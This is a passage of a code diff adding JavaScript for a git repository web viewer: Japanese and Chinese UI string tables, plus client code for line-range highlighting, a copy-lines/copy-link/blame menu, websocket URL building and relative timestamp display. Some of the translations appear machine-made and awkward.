\u005c\u0022概要\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Log\u005c\u0022: \u005c\u0022ログ\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Tree\u005c\u0022: \u005c\u0022木構造\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Blame\u005c\u0022: \u005c\u0022責任\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Copy Lines\u005c\u0022: \u005c\u0022コピーライン\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Copy Link\u005c\u0022: \u005c\u0022リンクをコピーする\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022View Blame\u005c\u0022: \u005c\u0022責任がある\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Remove Blame\u005c\u0022: \u005c\u0022責任を取り除く\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Mode\u005c\u0022: \u005c\u0022モード\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Size\u005c\u0022: \u005c\u0022サイズ\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Name\u005c\u0022: \u005c\u0022名\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022s\u005c\u0022: \u005c\u0022秒\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022m\u005c\u0022: \u005c\u0022分\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022h\u005c\u0022: \u005c\u0022時間\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022 days\u005c\u0022: \u005c\u0022日々\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022 weeks\u005c\u0022: \u005c\u0022週\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022 months\u005c\u0022: \u005c\u0022数ヶ月\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022 years\u005c\u0022: \u005c\u0022年\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Branch Snapshot\u005c\u0022: \u005c\u0022ブランチスナップショット\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Tag Snapshot\u005c\u0022: \u005c\u0022タグスナップショット\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Commit Snapshot\u005c\u0022: \u005c\u0022スナップショットをコミットする\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Description\u005c\u0022: \u005c\u0022説明\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Owner\u005c\u0022: \u005c\u0022オーナー\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Branch\u005c\u0022: \u005c\u0022ブランチ\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Tag\u005c\u0022: \u005c\u0022タグ\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Author\u005c\u0022: \u005c\u0022著者\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Age\u005c\u0022: \u005c\u0022年齢\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Page fetched\u005c\u0022: \u005c\u0022ページを取得した\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022creation time\u005c\u0022: \u005c\u0022作成時間\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022created\u005c\u0022: \u005c\u0022作成した\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022ago\u005c\u0022: \u005c\u0022前\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Message\u005c\u0022: \u005c\u0022メッセージ\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Download\u005c\u0022: \u005c\u0022ダウンロード\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022root\u005c\u0022: \u005c\u0022ルート\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Committer\u005c\u0022: \u005c\u0022コミッター\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Raw Patch\u005c\u0022: \u005c\u0022生パッチ\u005c\u0022,\u0022 +\n+\t\u0022\u005c\u0022Page fetched %{pf} ago, creation time: %{ct}ms \u0022 +\n+ \t \u0022(vhost etag hits: %{ve}%, cache hits: %{ch}%)\u005c\u0022: \u0022 +\n+ \t\u0022\u005c\u0022%{pf}間前に取得されたページ, 作成にかかった時間: %{ct}ms \u0022 +\n+ \t \u0022(vhost etag キャッシュヒット: %{ve}%, キャッシュヒット: %{ch}%)\u005c\u0022,\u0022 +\n+ \t\u0022\u005c\u0022Created %{pf} ago, creation time: %{ct}ms \u005c\u0022:\u0022 +\n+ \t \u0022\u005c\u0022%{pf}間前に作成されました, 作成にかかった時間: %{ct}ms\u005c\u0022\u0022 +\n+ \u0022}}\u0022;\n+\n+var lang_zht \u003d \u0022{\u0022 +\n+\u0022\u005c\u0022values\u005c\u0022:{\u0022 +\n+ \u0022\u005c\u0022Summary\u005c\u0022: \u005c\u0022概要\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Log\u005c\u0022: \u005c\u0022日誌\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Tree\u005c\u0022: \u005c\u0022樹\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Blame\u005c\u0022: \u005c\u0022責怪\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Copy Lines\u005c\u0022: \u005c\u0022複製線\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Copy Link\u005c\u0022: \u005c\u0022複製鏈接\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022View Blame\u005c\u0022: \u005c\u0022看責怪\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Remove Blame\u005c\u0022: \u005c\u0022刪除責怪\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Mode\u005c\u0022: \u005c\u0022模式\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Size\u005c\u0022: \u005c\u0022尺寸\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Name\u005c\u0022: \u005c\u0022名稱\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022s\u005c\u0022: \u005c\u0022秒\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022m\u005c\u0022: \u005c\u0022分鐘\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022h\u005c\u0022: \u005c\u0022小時\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022 days\u005c\u0022: \u005c\u0022天\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022 weeks\u005c\u0022: \u005c\u0022週\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022 months\u005c\u0022: \u005c\u0022個月\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022 years\u005c\u0022: \u005c\u0022年份\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Branch Snapshot\u005c\u0022: \u005c\u0022科快照\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Tag Snapshot\u005c\u0022: \u005c\u0022标签快照\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Commit Snapshot\u005c\u0022: \u005c\u0022提交快照\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Description\u005c\u0022: \u005c\u0022描述\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Owner\u005c\u0022: \u005c\u0022所有者\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Branch\u005c\u0022: \u005c\u0022科\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Tag\u005c\u0022: \u005c\u0022標籤\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Author\u005c\u0022: \u005c\u0022作者\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Age\u005c\u0022: \u005c\u0022年齡\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Page fetched\u005c\u0022: \u005c\u0022頁面已獲取\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022creation time\u005c\u0022: \u005c\u0022創作時間\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022created\u005c\u0022: \u005c\u0022創建\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022ago\u005c\u0022: \u005c\u0022前\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Message\u005c\u0022: \u005c\u0022信息\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Download\u005c\u0022: \u005c\u0022下載\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022root\u005c\u0022: \u005c\u0022根源\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Committer\u005c\u0022: \u005c\u0022提交者\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Raw Patch\u005c\u0022: \u005c\u0022原始補丁\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Page fetched %{pf} ago, creation time: %{ct}ms \u0022 +\n+ \t \u0022(vhost etag hits: %{ve}%, cache hits: %{ch}%)\u005c\u0022: \u0022 +\n+ \t\u0022\u005c\u0022頁面%{pf}前獲取, 創作時間: %{ct}ms \u0022 +\n+ \t \u0022(vhost etag 緩存命中: %{ve}%, 緩存命中: %{ch}%)\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Created %{pf} ago, creation time: %{ct}ms \u005c\u0022:\u0022 +\n+ \t\u0022\u005c\u0022%{pf}前創建, 創作時間: %{ct}ms \u005c\u0022\u0022 +\n+\u0022}}\u0022;\n+\n+var lang_zhs \u003d \u0022{\u0022 +\n+\u0022\u005c\u0022values\u005c\u0022:{\u0022 +\n+ \u0022\u005c\u0022Summary\u005c\u0022: \u005c\u0022概要\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Log\u005c\u0022: \u005c\u0022日志\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Tree\u005c\u0022: \u005c\u0022木\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Blame\u005c\u0022: \u005c\u0022归咎\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Copy Lines\u005c\u0022: \u005c\u0022复制线\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Copy Link\u005c\u0022: \u005c\u0022复制链接\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022View Blame\u005c\u0022: \u005c\u0022看责备\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Remove Blame\u005c\u0022: \u005c\u0022删除责备\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Mode\u005c\u0022: \u005c\u0022模式\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Size\u005c\u0022: \u005c\u0022尺寸\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Name\u005c\u0022: \u005c\u0022名称\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022s\u005c\u0022: \u005c\u0022秒\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022m\u005c\u0022: \u005c\u0022分钟\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022h\u005c\u0022: \u005c\u0022小时\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022 days\u005c\u0022: \u005c\u0022天\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022 weeks\u005c\u0022: \u005c\u0022周\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022 months\u005c\u0022: \u005c\u0022个月\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022 years\u005c\u0022: \u005c\u0022年份\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Branch Snapshot\u005c\u0022: \u005c\u0022科快照\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Tag Snapshot\u005c\u0022: \u005c\u0022标签快照\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Commit Snapshot\u005c\u0022: \u005c\u0022提交快照\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Description\u005c\u0022: \u005c\u0022描述\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Owner\u005c\u0022: \u005c\u0022所有者\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Branch\u005c\u0022: \u005c\u0022科\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Tag\u005c\u0022: \u005c\u0022标签\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Author\u005c\u0022: \u005c\u0022作者\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Age\u005c\u0022: \u005c\u0022年龄\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Page fetched\u005c\u0022: \u005c\u0022页面已获取\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022creation time\u005c\u0022: \u005c\u0022创作时间\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022created\u005c\u0022: \u005c\u0022创建\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022ago\u005c\u0022: \u005c\u0022前\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Message\u005c\u0022: \u005c\u0022信息\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Download\u005c\u0022: \u005c\u0022下载\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022root\u005c\u0022: \u005c\u0022根源\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Committer\u005c\u0022: \u005c\u0022提交者\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Raw Patch\u005c\u0022: \u005c\u0022原始补丁\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Page fetched %{pf} ago, creation time: %{ct}ms \u0022 +\n+\t \u0022(vhost etag hits: %{ve}%, cache hits: %{ch}%)\u005c\u0022: \u0022 +\n+\t\u0022\u005c\u0022页面%{pf}前获取, 创作时间: %{ct}ms \u0022 +\n+\t \u0022(vhost etag 缓存命中: %{ve}%, 缓存命中: %{ch}%)\u005c\u0022,\u0022 +\n+ \u0022\u005c\u0022Created %{pf} ago, creation time: %{ct}ms \u005c\u0022:\u0022 +\n+\t \t\u0022\u005c\u0022%{pf}前创建, 创作时间: %{ct}ms \u005c\u0022\u0022 +\t \n+\u0022}}\u0022;\n+\n+\n+(function () {\n+\t\n+function san(s)\n+{\n+\tif (!s)\n+\t\treturn \u0022\u0022;\n+\n+\treturn s.replace(/\u0026/g, \u0022\u0026amp;\u0022).\n+\t\t replace(/\u005c\u003c/g, \u0022\u0026lt;\u0022).\n+\t\t replace(/\u005c\u003e/g, \u0022\u0026gt;\u0022).\n+\t\t\t replace(/\u005c\u0022/g, \u0022\u0026quot;\u0022).\n+\t\t\t replace(/%/g, \u0022\u0026#37;\u0022);\n+}\n+\n+function san_nq(s)\n+{\n+\tif (!s)\n+\t\treturn \u0022\u0022;\n+\n+\treturn s.replace(/\u0026/g, \u0022\u0026amp;\u0022).\n+\t\t replace(/\u003c/g, \u0022\u0026lt;\u0026#8203;\u0022).\n+\t\t replace(/\u003e/g, \u0022\u0026gt;\u0022).\n+\t\t\t replace(/%/g, \u0022\u0026#37;\u0022);\n+}\n+\n+var burger, menu_popup, j_avatar, menu_popup_archive, jf, blog_mode \u003d 0;\n+\n+function collect_offsetTop(e1)\n+{\n+\tvar t \u003d 0;\n+\n+\twhile (e1) {\n+\t\tif (e1.offsetTop)\n+\t\t\tt +\u003d e1.offsetTop;\n+\t\te1 \u003d e1.offsetParent;\n+\t}\n+\n+\treturn t;\n+}\n+\n+function collect_offsetLeft(e1)\n+{\n+\tvar t \u003d 0;\n+\n+\twhile (e1) {\n+\t\tif (e1.offsetLeft)\n+\t\t\tt +\u003d e1.offsetLeft;\n+\t\te1 \u003d e1.offsetParent;\n+\t}\n+\n+\treturn t;\n+}\n+\n+function find_parent_of_type(e, type)\n+{\n+\twhile (e.tagName.toLowerCase() !\u003d type)\n+\t\te \u003d e.parentNode;\n+\n+\treturn e;\n+}\n+\n+function parse_hashurl_start(h)\n+{\n+\treturn parseInt(h.substring(2));\n+}\n+\n+function parse_hashurl_end(h, start)\n+{\n+\tvar t \u003d h.indexOf(\u0022-\u0022), e \u003d start;\n+\n+\tif (t \u003e\u003d 1)\n+\t\te \u003d parseInt(h.substring(t + 1));\n+\n+\tif (e \u003c start)\n+\t\te \u003d start;\n+\n+\treturn e;\n+}\n+\n+\n+/*\n+ * This creates an absolute div as a child of the content table.\n+ * It's horizontally and vertically aligned and sized according\n+ * to the #URL information like #n123-456\n+ * \n+ * If the highlight div already exists, it's removed and remade.\n+ */\n+\n+function line_range_highlight(do_burger)\n+{\n+\tvar h \u003d window.location.hash, l1 \u003d 0, l2 \u003d 0, e, t;\n+\n+\te \u003d document.getElementById(\u0022sel-line-range\u0022);\n+\tif (e) {\n+\t\tl1 \u003d e.l1;\n+\n+\t\twhile (l1 \u003c\u003d e.l2) {\n+\t\t\tvar e1;\n+\t\t\te1 \u003d document.getElementById('n' + l1++);\n+\t\t\t\te1.classList.remove(\n+\t\t\t\t\t'selected-line-link-highlight');\n+\t\t}\n+\n+\t\te.remove();\n+\t}\n+\n+\tl1 \u003d parse_hashurl_start(h);\n+\tif (!l1)\n+\t\treturn;\n+\n+\tl2 \u003d parse_hashurl_end(h, l1);\n+\n+\tvar lh, etable, etr, de, n, hl, v;\n+\n+\te \u003d document.getElementById('n' + l1);\n+\tif (!e)\n+\t\treturn;\n+\n+\tif (do_burger)\n+\t\tburger_create(e);\n+\n+\tde \u003d document.createElement(\u0022DIV\u0022);\n+\n+\tde.className \u003d \u0022selected-lines\u0022;\n+\tde.style.bottom \u003d e.style.bottom;\n+\tde.style.top \u003d collect_offsetTop(e) + 'px';\n+\tde.id \u003d \u0022sel-line-range\u0022;\n+\tde.l1 \u003d l1;\n+\tde.l2 \u003d l2;\n+\n+\t/* we will tack the highlight div at the parent tr */\n+\tetr \u003d find_parent_of_type(e, \u0022tbody\u0022);\n+\n+\tde.style.width \u003d etr.offsetWidth + 'px';\n+\n+\t/* the table is offset from the left, the highlight needs to follow it */\n+\tetable \u003d find_parent_of_type(etr, \u0022table\u0022);\n+\t//de.style.left \u003d etable.offsetLeft + 'px';\n+\tde.style.height \u003d ((l2 - l1 + 1) * e.offsetHeight) + 'px';\n+\n+\tetr.insertBefore(de, etr.firstChild);\n+\n+\tsetTimeout(function() {\n+\t\tde.style.backgroundColor \u003d \u0022rgba(255, 255, 0, 0.2)\u0022;\n+\t}, 1);\n+\n+\tn \u003d l1;\n+\twhile (n \u003c\u003d l2)\n+\t\tdocument.getElementById('n' + n++).classList.add(\n+\t\t\t\t\t'selected-line-link-highlight');\n+\n+\thl \u003d (window.innerHeight / (e.offsetHeight + 1));\n+\tv \u003d (l1 + ((l2 - l1) / 2)) - (hl / 2);\n+\tif (v \u003e l1)\n+\t\tv \u003d l1;\n+\tif (v \u003c 1)\n+\t\tv \u003d 1;\n+\n+\tt \u003d document.getElementById('n' + Math.round(v));\n+\tif (!t)\n+\t\tt \u003d e;\n+\n+\tt.scrollIntoView(true);\n+}\n+\n+function copy_clipboard(value, e)\n+{\n+\tvar inp \u003d document.createElement(\u0022textarea\u0022);\n+\n+\tinp.type \u003d \u0022text\u0022;\n+\tinp.value \u003d value;\n+\t/* hidden style stops it working for clipboard */\n+\tinp.setAttribute('readonly', '');\n+\tinp.style.position \u003d \u0022absolute\u0022;\n+\tinp.style.left \u003d \u0022-1000px\u0022;\n+\n+\te.appendChild(inp);\n+\n+\tinp.select();\n+\n+\tdocument.execCommand(\u0022copy\u0022);\n+\n+\tinp.remove();\n+}\n+\n+/* we want to copy plain text for a line range */\n+\n+function copy_text(elem, l1, l2)\n+{\n+\tvar tc \u003d elem.textContent.split('\u005cn'), s \u003d \u0022\u0022;\n+\n+\tl1 --;\n+\n+\twhile (l1 \u003c l2)\n+\t\ts +\u003d tc[l1++] + '\u005cn';\n+\n+\tcopy_clipboard(s, document.getElementById(\u0022jglinenumbers\u0022));\n+}\n+\n+\n+/*\n+ * An element in the popup menu was clicked, perform the appropriate action\n+ */\n+function mi_click(e) {\n+\tvar u, n, l1, l2, el;\n+\n+\te.stopPropagation();\n+\te.preventDefault();\n+\t\n+\tu \u003d \u0022\u0022;\n+\tif (window.location.hash.length)\n+\t\tu \u003d window.location.hash;\n+\n+\tswitch (e.target.id) {\n+\tcase \u0022mi-c-line\u0022:\n+\t\tl1 \u003d parse_hashurl_start(window.location.hash);\n+\t\tl2 \u003d parse_hashurl_end(window.location.hash, l1);\n+\t\tel \u003d document.getElementsByClassName(\u0022doc\u0022)[0].firstChild.firstChild;\n+\t\tcopy_text(el, l1, l2);\n+\t\tbreak;\n+\tcase \u0022mi-c-link\u0022:\n+\t\tcopy_clipboard(window.location.href, document.getElementById(\u0022jglinenumbers\u0022));\n+\t\tbreak;\n+\tcase \u0022mi-c-blame\u0022:\n+\t\twindow.location \u003d makeurl(reponame, \u0022blame\u0022, rpath, qbranch, qid, qofs) + u;\n+\t\tbreak;\n+\tcase \u0022mi-c-tree\u0022:\n+\t\twindow.location \u003d makeurl(reponame, \u0022tree\u0022, rpath, qbranch, qid, qofs) + u;\n+\t\tbreak;\n+\t}\n+\n+\tif (!menu_popup)\n+\t\treturn;\n+\n+\tmenu_popup.remove();\n+\tmenu_popup \u003d null;\n+}\n+\n+/* We got a click on the (***) burger menu */\n+\n+function burger_click(e) {\n+\tvar e1 \u003d e, etable, d \u003d new Date, s \u003d \u0022\u0022, n, is_blame,\n+\t ar \u003d new Array(\u0022mi-c-line\u0022, \u0022mi-c-link\u0022, \u0022mi-c-blame\u0022, \u0022mi-c-tree\u0022),\n+\t an \u003d new Array(i18n(\u0022Copy Lines\u0022), i18n(\u0022Copy Link\u0022),\n+\t \t\ti18n(\u0022View Blame\u0022), /* 2: shown in /tree/ */\n+\t \t\ti18n(\u0022Remove Blame\u0022) /* 3: shown in /blame/ */);\n+\n+\te.preventDefault();\n+\n+\tif (menu_popup) {\n+\t\tmenu_popup.remove();\n+\t\tmenu_popup \u003d null;\n+\n+\t\treturn;\n+\t}\n+\n+\t/*\n+\t * Create the popup menu\n+\t */\n+\n+\tis_blame \u003d !!rmode \u0026\u0026 rmode \u003d\u003d \u0022blame\u0022;\n+\n+\tmenu_popup \u003d document.createElement(\u0022DIV\u0022);\n+\tmenu_popup.className \u003d \u0022popup-menu\u0022;\n+\tmenu_popup.style.top \u003d collect_offsetTop(e1) + e.offsetHeight + \u0022px\u0022;\n+\n+\ts \u003d \u0022\u003cul id\u003d'menu-ul'\u003e\u0022;\n+\tfor (n \u003d 0; n \u003c an.length; n++)\n+\t\tif (n \u003c 2 || is_blame \u003d\u003d (n \u003d\u003d 3))\n+\t\t\ts +\u003d \u0022\u003cli id\u003d'\u0022 + ar[n] + \u0022' tabindex\u003d'\u0022 + n + \u0022'\u003e\u0022 +\n+\t\t\t\tan[n] + \u0022\u003c/li\u003e\u0022;\n+\t\t \n+\tmenu_popup.innerHTML \u003d s;\n+\n+\tburger.insertBefore(menu_popup, null);\n+\n+ document.getElementById(ar[0]).focus();\n+\tfor (n \u003d 0; n \u003c an.length; n++)\n+\t\tif (n \u003c 2 || is_blame \u003d\u003d (n \u003d\u003d 3))\n+\t\t\tdocument.getElementById(ar[n]).\n+\t\t\t\taddEventListener(\u0022click\u0022, mi_click);\n+\t\t\t\t\n+\tsetTimeout(function() {\n+\t\tmenu_popup.style.opacity \u003d \u00221\u0022;\n+\t}, 1);\n+\n+\t/* detect loss of focus for popup menu */\n+\tmenu_popup.addEventListener(\u0022focusout\u0022, function(e) {\n+\t\t/* if focus went to a child (menu item), ignore */\n+\t\tif (e.relatedTarget \u0026\u0026\n+\t\t e.relatedTarget.parentNode.id \u003d\u003d \u0022menu-ul\u0022)\n+\t\t\treturn;\n+\n+\t\tmenu_popup.remove();\n+\t\tmenu_popup \u003d null;\n+\t});\n+}\n+\n+function burger_create(e)\n+{\n+\tvar e1 \u003d e, etable, d \u003d new Date;\n+\n+\tif (burger)\n+\t\tburger.remove();\n+\n+\tburger \u003d document.createElement(\u0022DIV\u0022);\n+\tburger.className \u003d \u0022burger\u0022;\n+\tburger.style.top \u003d collect_offsetTop(e1) + \u0022px\u0022;\n+\n+\t/* event listener cannot override default browser #URL behaviour */\n+\tburger.onclick \u003d burger_click;\n+\n+\tetable \u003d find_parent_of_type(e, \u0022table\u0022);\n+\tetable.insertBefore(burger, etable.firstChild);\n+\tburger_time \u003d d.getTime();\n+\n+\tsetTimeout(function() {\n+\t\tburger.style.opacity \u003d \u00221\u0022;\n+\t}, 1);\n+}\n+\n+/*\n+ * We got a click on a line number #url\n+ *\n+ * Create the \u0022burger\u0022 menu there.\n+ *\n+ * Redraw the line range highlight accordingly.\n+ */\n+\n+function line_range_click(e) {\n+\tvar t, elem, m, n \u003d window.location.href.length -\n+\t\t\t window.location.hash.length;\n+\n+\t/* disable passthru to stop scrolling by browser #URL handler */\n+\te.stopPropagation();\n+\te.preventDefault();\n+\n+\tif (!e.target.id)\n+\t\treturn;\n+\n+\tif (menu_popup) {\n+\t\tmenu_popup.remove();\n+\t\tmenu_popup \u003d null;\n+\n+\t\treturn;\n+\t}\n+\t\n+\tif (e.target.id \u003d\u003d \u0022jglinenumbers\u0022)\n+\t\treturn;\n+\n+\telem \u003d document.getElementById(e.target.id);\n+\tif (!elem)\n+\t\treturn;\n+\n+\tburger_create(elem);\n+\n+\tif (!window.location.hash ||\n+\t window.location.hash.indexOf(\u0022-\u0022) \u003e\u003d 0 ||\n+\t e.target.id.substring(1) \u003d\u003d window.location.href.substring(n + 2))\n+\t\tt \u003d window.location.href.substring(0, n) +\n+\t\t '#n' + e.target.id.substring(1);\n+\telse {\n+\t\tif (parseInt(window.location.hash.substring(2)) \u003c\n+\t\t parseInt(e.target.id.substring(1))) /* forwards */\n+\t\t\tt \u003d window.location + '-' + e.target.id.substring(1);\n+\t\telse\n+\t\t\tt \u003d window.location.href.substring(0, n) +\n+\t\t\t\t'#n' + e.target.id.substring(1) + '-' +\n+\t\t\t\twindow.location.href.substring(n + 2);\n+\t}\n+\n+\twindow.history.replaceState(null, null, t);\n+\n+\tline_range_highlight(0);\n+}\n+\n+function get_appropriate_ws_url(extra_url)\n+{\n+\tvar pcol;\n+\tvar u \u003d document.URL;\n+\n+\t/*\n+\t * We open the websocket encrypted if this page came on an\n+\t * https:// url itself, otherwise unencrypted\n+\t */\n+\n+\tif (u.substring(0, 5) \u003d\u003d \u0022https\u0022) {\n+\t\tpcol \u003d \u0022wss://\u0022;\n+\t\tu \u003d u.substr(8);\n+\t} else {\n+\t\tpcol \u003d \u0022ws://\u0022;\n+\t\tif (u.substring(0, 4) \u003d\u003d \u0022http\u0022)\n+\t\t\tu \u003d u.substr(7);\n+\t}\n+\n+\tu \u003d u.split('/');\n+\n+\t/* + \u0022/xxx\u0022 bit is for IE10 workaround */\n+\n+\treturn pcol + u[0] + \u0022/\u0022 + extra_url;\n+}\n+\n+var age_names \u003d [ \u0022s\u0022, \u0022m\u0022, \u0022h\u0022, \u0022 days\u0022, \u0022 weeks\u0022, \u0022 months\u0022, \u0022 years\u0022 ];\n+var age_div \u003d [ 1, 60, 3600, 86400, 604800, 2419200, 31536000 ];\n+var age_limit \u003d [ 120, 7200, 172800, 1209600, 4838400, 63072000, 0 ];\n+var age_upd \u003d [ 5, 10, 300, 1800, 3600, 12 * 3600, 12 * 3600 ];\n+\n+function agify(now, secs)\n+{\n+\tvar d \u003d now - secs, n;\n+\t\n+\tif (!secs)\n+\t\treturn \u0022\u0022;\n+\t\n+\tfor (n \u003d 0; n \u003c age_names.length; n++)\n+\t\tif (d \u003c age_limit[n] || age_limit[n] \u003d\u003d 0)\n+\t\t\treturn \u0022\u003cspan class\u003d'age-\u0022 + n + \u0022' ut\u003d'\u0022 + secs +\n+\t\t\t\t\u0022'\u003e\u0022 + Math.ceil(d / age_div[n]) +\n+\t\t\t\ti18n(age_names[n]) + \u0022\u003c/span\u003e\u0022;\n+}\n+\n+function aging()\n+{\n+ var n, next \u003d 24 * 3600,\n+ now_ut \u003d Math.round((new Date().getTime() / 1000));\n+\n+ for (n \u003d 0; n \u003c age_names.length; n++) {\n+ var m, elems \u003d document.getElementsByClassName(\n+ \t\t\t\t\u0022age-\u0022 + n), ne \u003d elems.length,\n+ \t\t\t\ta \u003d new Array(), ee \u003d new Array();\n+\n+ if (elems.length \u0026\u0026 age_upd[n] \u003c next)\n+ next \u003d age_upd[n];\n+\n+ for (m \u003d 0; m \u003c ne; m++) {\n+ var e \u003d elems[m], secs \u003d elems[m].getAttribute(\u0022ut\u0022);\n+\n+ a.push(agify(now_ut, secs));\n+ ee.push(e);\n+ }\n+ \n+ for (m \u003d 0; m \u003c ee.length; m++) {\n+ \tee[m].innerHTML \u003d a[m]; \n+ }\n+ }\n+\n+ /*\n+ * We only need to come back when the age might have changed.\n+ * Eg, if everything is counted in hours already, once per\n+ * 5 minutes is accurate enough.\n+ */\n+\n+ window.setTimeout(aging, next * 1000);\n+}\n+\n+\n+function comp_reftime(a, b)\n+{\n+\treturn b.summary.time - a.summary.time;\n+}\n+\n+function comp_reftime_tag(a, b)\n+{\n+\treturn b.summary.time - a.summary.time;\n+}\n+\n+var loca;\n+\n+function tz_date(ut, z)\n+{\n+\tvar d \u003d new Date((ut) * 1000);\n+\t\n+\tif (loca) {\n+\t\tvar options \u003d { weekday: 'long', year: 'numeric', month: 'long',\n+\t\t\t\t\t\tday: 'numeric', hour: 'numeric', minute: 'numeric',\n+\t\t\t\t\t\tsecond: 'numeric'};\n+\n+\t\treturn d.toLocaleDateString(loca, options);\n+\t}\n+\t\n+\treturn d;\n+}\n+\n+function identity_av_base(i)\n+{\n+\tvar em;\n+\t\n+\tif (j_avatar !\u003d \u0022//www.gravatar.com/avatar/\u0022) {\n+\t\tem \u003d j_avatar + i.md5 + \u0022_avatar\u0022;\n+\t} else\n+\t\tem \u003d j_avatar + i.md5 + \u0022?s\u003d128\u0026amp;d\u003dretro\u0022;\n+\t\n+\treturn em;\n+}\n+\n+function identity_img(i, size)\n+{\n+\tvar v \u003d identity_av_base(i);\n+\t\n+\treturn 